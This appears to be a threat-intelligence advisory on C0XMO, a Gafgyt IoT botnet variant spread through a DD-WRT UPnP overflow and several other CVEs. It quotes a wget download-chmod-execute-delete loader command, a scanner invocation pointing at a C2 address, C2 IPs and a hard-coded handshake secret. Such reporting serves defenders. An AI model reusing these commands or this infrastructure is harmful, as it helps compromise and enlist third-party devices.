Gafgyt Variant C0XMO — Cross-Platform IoT Botnet via DD-WRT UPnP CVE-2021-27137 with Python Lateral-Movement Module — Threadlinqs Intelligence
As of 2026-06-04, Gafgyt Variant C0XMO — Cross-Platform IoT Botnet via DD-WRT UPnP CVE-2021-27137 with Python Lateral-Movement Module is a high-severity malware threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 30 indicators of compromise.
Threat ID: TL-2026-0679 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
FortiGuard Labs identified C0XMO, a new Gafgyt botnet variant that propagates across IoT devices by exploiting CVE-2021-27137, a stack buffer overflow in the DD-WRT UPnP/SSDP service triggered by an
C0XMO is a modular evolution of the Gafgyt (BASHLITE) IoT botnet family reported by Fortinet FortiGuard Labs on 3 June 2026, with in-the-wild activity dating to March 2026. The campaign was first observed targeting a Japanese technology firm from source infrastructure geolocated in Germany.
Initial access is achieved primarily through CVE-2021-27137, a stack-based buffer overflow in the DD-WRT UPnP/SSDP service (changeset before 45723). The vulnerability is triggered when the SSDP parser mishandles an oversized ST:uuid: value inside a specially crafted M-SEARCH request delivered over UDP port 1900. Successful exploitation yields remote code execution, after which the malware is fetched to /tmp/.cache, made world-executable (chmod 777), run, and deleted to reduce forensic footprint.
The defining innovation of C0XMO is the separation of propagation logic into a standalone Python script (scanner.py) comprising roughly 22 functions across six functional categories: a multi-threaded Worker for scanning and exploitation, a Blacklist module for IP filtering and failed-target tracking, Telnet and SSH weak-credential brute-force modules, an HTTP exploitation module leveraging multiple CVEs, and an ADB (Android Debug Bridge) exploitation module. The script is deployed with arguments such as 'python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,8080... --runtime X --server 217.160.125.125:15527' and requires the requests, paramiko, and beautifulsoup4 Python packages.
The loader delivers ELF payloads compiled for seven architectures — ARM, MC68000, MIPS R3000, PowerPC, SuperH, Intel 80386, and AMD64 — selecting the appropriate binary after architecture detection to enable broad cross-platform propagation. Post-compromise deployment uses a wget/chmod/execute/cleanup chain (e.g. 'cd /tmp && wget -q http://server/bot.arch -O .cache && chmod 777 .cache && ./.cache && rm -f .cache').
C2 communication is performed against a custom binary protocol. The bot connects to the main C2 at 85.215.131.70 and a distribution/scan server at 217.160.125.125:15527, with 176.100.37.91 as additional infrastructure. The handshake uses a magic string (hex 669787761736865726500), a hard-coded shared secret (FS2@SA__=A23cAxs3S3@23AF@A3454DFSA0D), a 'BOT'->'OK' bot identification exchange, and a final 'FF FF FF FF 75' welcome confirmation.
Persistence is implemented in four stages: path verification via /proc/self/exe; self-copying to /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys and $HOME/.sys with 755 permissions; auto-start via cron ('*/15 * * * *') and shell-profile modification (~/.bashrc, ~/.bash_profile); and a process-revival watchdog that re-executes the binary if terminated. The malware also performs competitor elimination, killing rival botnet processes, network-service applications, programming tools, and red-team utilities, and deleting their binaries and persistence artifacts (cron jobs, rc.local, init.d services, shell profiles).
C0XMO supports 19 DDoS attack methods including UDP/TCP bypass floods, TCP SYN flood, Valve Source Engine flood, Discord voice UDP flood, FiveM game flood, OVH bypass (TCP/UDP), hex-pattern flood, NTP and Memcached amplification, ICMP flood, Ping of Death, and HTTP storm/IO/spoof/GET and Cloudflare-bypass HTTP floods. Operator commands include ping, stop, scan, stopscan, and attack directives.
Beyond Telnet/SSH brute force and the UPnP overflow, the HTTP exploitation module weaponizes several public CVEs: CVE-2015-2051 (D-Link HNAP SOAP command injection), CVE-2022-35914 (GLPI htmLawed RCE), CVE-2016-15047 and CVE-2025-34054 (Avtech DVR authentication bypass / RCE). Targeted service ports span 23, 22, 80, 443, 8080, 5555, 5511, 5554, 4443, 81, 8000, 7547, 8081, 8443, and 8888.
Weaknesses (CWE)
CWE-121, CWE-787, CWE-78, CWE-798, CWE-288
Target sectors: technology, telecommunications, consumer-iot, managed-hosting
Target regions: Asia, Japan, Europe, Global
Detections & IOCs
As of 2026-07-21, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 30 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, CVE-2021-27137, CVE-2015-2051, CVE-2022-35914, CVE-2016-15047, CVE-2025-34054, T1595, T1587, T1190, T1133, T1110, T1059, T1059, T1053, T1546, T1078